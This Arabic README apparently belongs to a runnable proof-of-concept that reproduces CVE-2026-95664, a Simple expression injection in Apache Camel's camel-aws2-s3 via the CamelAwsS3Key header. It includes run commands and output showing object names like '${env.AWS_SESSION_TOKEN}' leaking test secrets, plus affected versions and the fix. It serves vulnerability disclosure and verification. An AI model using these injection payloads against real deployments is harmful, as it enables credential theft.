
مُعيد إنتاج قابل للتشغيل بـ Spring Boot وQuarkus لـ CVE-2026-95664، يوضّح حقن تعبيرات Simple عبر ترويسة CamelAwsS3Key في camel-aws2-s3 ويتحقق من الإصلاح.
مُعيد إنتاج إثبات مفهوم قابل للتشغيل لثغرة Apache Camel حيث كان منتج camel-aws2-s3
يأخذ مفتاح الكائن من ترويسة الرسالة CamelAwsS3Key و — منذ 4.8.0 —
كان AWS2S3Utils.determineKey() يمرّر تلك القيمة إلى لغة Simple كلما احتوت على ${ أو
$simple{، بحيث يمكن للمسار استخدام مفتاح ديناميكي. وقد انطبق التقييم على قيمة مأخوذة من
الترويسة بقدر ما انطبق على خيار keyName المُهيَّأ بواسطة المسار.
| بيئة التشغيل | الدليل | المكدّس |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-aws2-s3 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
الترويسة ليست تهيئة للمسار. فمستهلك aws2-s3 يضبط CamelAwsS3Key على كل تبادل
ينشئه إلى مفتاح الكائن الذي قرأه — أي اسم الكائن في الحاوية (bucket). وفي مسار
لا يفعل أكثر من الاستهلاك من نقطة نهاية aws2-s3 والإنتاج إلى أخرى، فإن اسم كل
كائن مستهلَك كان يصل بالتالي إلى المنتج ويجري تقييمه.
أي شخص قادر على اختيار اسم كائن في حاوية يستهلك منها مسار كهذا — عادةً أي هوية مسموح لها
بالرفع إليها — كان بإمكانه تقييم تعبيرات Simple من اختياره داخل عملية Camel.
تستطيع Simple قراءة خصائص نظام JVM، ومتغيرات البيئة، وخصائص التهيئة، التي غالبًا ما
تحمل بيانات اعتماد، ومع وجود camel-bean على مسار الفئات (classpath)، استدعاء أساليب على حبوب السجل (registry beans).
لم يكن تهيئة keyName على المنتج حماية، لأن الترويسة لها الأولوية عليه.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
الإخراج على إصدار متأثر (متطابق على كلا بيئتي التشغيل):
Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client®ion=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.
Values the deployment holds but the route never references:
system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
environment AWS_SESSION_TOKEN = ENV-SESSION-TOKEN-s3cr3t-88
1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
key the producer wrote: [invoice-2026.pdf]
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
the JVM system property was resolved into the key: true
3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
the environment variable was resolved into the key: true
4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
key the producer wrote: [route1-D953127238C9F86-0000000000000000]
evaluated rather than used literally: true
5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
key the producer wrote: [archived.txt]
the configured keyName was used instead: true
>>> PROVEN: ...
Probe 5 هو الحل البديل الذي يقدّمه التنبيه الأمني للعمليات التي لا يمكنها الترقية بعد، معروضًا وهو يعمل.
لا يوجد حساب AWS ولا شبكة. يسجّل برنامج إعادة الإنتاج بديلًا مُسجِّلًا لـ S3
(amazonS3Client=#s3Client) يلتقط المفتاح الذي طلب المنتج فعليًا كتابته — وهو الشيء الوحيد
الذي يحتاج إلى مراقبة. يعمل AWS2S3Producer الحقيقي وAWS2S3Utils.determineKey() الحقيقي؛ ولا يُلتقط سوى استدعاء
SDK في النهاية.
يضبط برنامج التشغيل CamelAwsS3Key على اسم الكائن المستهلَك، وهو بالضبط ما يفعله
مستهلك aws2-s3، لذا لا يحتاج جانب المستهلك إلى حاوية خاصة به.
يجيب البديل أيضًا على
headBucket، لأنAWS2S3Endpoint.doStart()يتحقق من وجود الحاوية قبل بدء المسار. هذا التحقق لا علاقة له بالثغرة.
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-aws2-s3 (AWS2S3Utils.determineKey()) |
| CWE | CWE-917 (حقن لغة التعبيرات) |
| الخطورة | متوسطة |
| ناقل الهجوم | اسم كائن في حاوية يستهلكها مسار aws2-s3، يحتوي على ${ أو $simple{، يُنقل إلى المنتج في CamelAwsS3Key |
| التأثير | تقييم تعبيرات Simple في عملية Camel: قراءة خصائص النظام ومتغيرات البيئة وخصائص التكوين؛ استدعاء أساليب على حبوب السجل حيث تتوفر camel-bean |
| الإصدارات المتأثرة | من 4.8.0 قبل 4.18.5، ومن 4.19.0 قبل 4.22.2 (الإصدارات قبل 4.8.0 استخدمت قيمة الترويسة كما هي وغير متأثرة) |
| الإصدارات المُصلحة | 4.18.5، 4.22.2، 4.23.0 |
| JIRA | CAMEL-24901 |
| الفضل | Andrea Cosentino من Apache Software Foundation |
التنبيه الأمني: https://camel.apache.org/security/CVE-2026-95664.html
مرّ اسم الحاوية عبر التقييم نفسه، لكن المستهلك لا يضع أبدًا سوى الحاوية المُكوَّنة على نقطة نهايته الخاصة في ترويسة الحاوية، وليس قيمة مستمدة من كائن بعيد، لذا لم يكن اسم الحاوية قابلًا للوصول بهذه الطريقة.
لا يجوز أن يكون المفتاح المُكوَّن بواسطة المسار سوى تعبير Simple ديناميكي. أما المفتاح المقدَّم عبر الترويسة فيُستخدم الآن حرفيًا ولا يُقيَّم أبدًا:
String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
// only the configured key (supplied by the route) may be a dynamic simple expression;
// a key provided through the header is used literally and never evaluated
key = configuration.getKeyName();
if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}
أُصلح على main في apache/camel#26746 (1fd7a667)، مع
نقل الإصلاح إلى camel-4.22.x وcamel-4.18.x.
بعد الترقية، يُستخدم اسم مفتاح أو حاوية (bucket) يُمرَّر عبر ترويسة رسالة حرفيًا — لذا فإن أي مسار (route)
وضع عمدًا تعبير Simple غير مُقيَّم في CamelAwsS3Key أو CamelAwsS3OverrideBucketName
يجب عليه الآن تقييمه داخل المسار نفسه (setHeader(..., simple(...))) أو تكوينه كخيار
keyName / bucketName الخاص بنقطة النهاية (endpoint).
اضبط camel.version على 4.22.2 وشغّله مرة أخرى. تم التحقق مقابل 4.22.1 → 4.22.2:
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [${sys.app.db.password}]
the JVM system property was resolved into the key: false
4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
evaluated rather than used literally: false
>>> NOT reproduced: the header was used literally.
نُشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache Camel على فهم الثغرة الأمنية، والتحقق مما إذا كانوا متأثرين بها، وتأكيد أن الترقية تحلّها. لا تستخدم هذه المواد ضد أنظمة لا تملكها أو لا تديرها.